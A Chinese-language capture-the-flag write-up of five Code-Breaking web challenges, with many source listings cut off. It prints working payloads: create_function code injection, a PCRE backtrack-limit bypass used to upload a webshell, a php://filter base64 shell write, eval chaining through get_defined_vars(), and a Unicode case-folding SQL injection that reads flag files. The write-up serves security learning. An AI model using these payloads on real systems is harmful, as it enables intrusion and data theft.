前言
年底了,来一发 Code-Break
入入魂。给无滋无味的预习增添一些色彩
膜了几位师傅的思路 let‘s go~!
0x1 easy_function
源码
1 | <?php |
这题的思路在于不影响函数调用的情况下绕过正则,fuzz出 %5c
在字符前仍能进行调用,通过$arg
传入 payload
参考
1 |
|
查看目录
1 | action=\create_function&arg=1;}print_r(scandir(%22/var/www/%22));// |
查看flag
1 | action=\create_function&arg=1;}print_r(file("/var/www/flag_h0w2execute_arb1trary_c0de"));// |
0x2 easy_pcrewaf
源码
1 |
|
可以看到是一个上传文件
创建 html
1 | <!DOCTYPE html> |
参考
php的 preg_match
设定了 pcre.backtrack_limit
。默认值大小为 1000000
超过这个值 preg_match
将返回 false
从而绕过正则匹配。
生成payload
1 | //1.py |
上传拿 shell
(这里似乎后端设置了不可执行system
,故上传eval
)
0x3 easy-phpmagic
源码
1 | //section1 |
1 | //section2 |
这题思路是通过 domain
参数进行写shell,然后通过 log_name
参数列路径读取shell,而 log_name
是由 $_SERVER['SERVER_NAME']
和$log_name
组成,可以知道前者就是 host
,后者则是我们传入的 log
参数 。
其中,domain
经过 escapeshellarg
后无法进行命令注入。
读取时经过 htmlspecialchars
将文件内容转换为html实体,无法进行直接编译。并且还有 pathinfo
后缀过滤。
参考
通过后缀 /.
绕过 pathinfo
函数。
写shell就通过伪协议编码写入。
还有一个trick:就是php在进行base64解码的时候如果遇到不是base64编码的字符会直接跳过。
最终构造payload
1 | POST / HTTP/1.1 |
然后通过路径读取访问我们的shell
0x4 easy-phplimit
源码
1 |
|
这题和RCTF 2018
的r-cursive
类似
参考
环境由 apache
变为nginx
故原题的payload getallheaders()
无法使用,改为 get_defined_vars()
payload
1 | GET /?code=var_dump(get_defined_vars()); HTTP/1.1 |
1 | GET /?code=var_dump(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1 |
1 | GET /?code=eval(next(current(get_defined_vars())));&1=print_r(scandir("/var/www/")); HTTP/1.1 |
1 | GET /?code=eval(next(current(get_defined_vars())));&1=print_r(file("/var/www/flag_phpbyp4ss")); HTTP/1.1 |
0x5 easy-nodechr
源码
1 | // initial libraries |
main code
1 | function safeKeyword(keyword) { |
题目中禁用了union
和select
,但在登录时使用了危险函数toUpperCase()
这里参考p佬的 Fuzz中的javascript大小写特性
1 | "ı".toUpperCase() == I |
构造payload
1 | username=1&password=' un%c4%b1on %c5%bfelect 1,(%c5%bfelect flag from flags),1' |
参考链接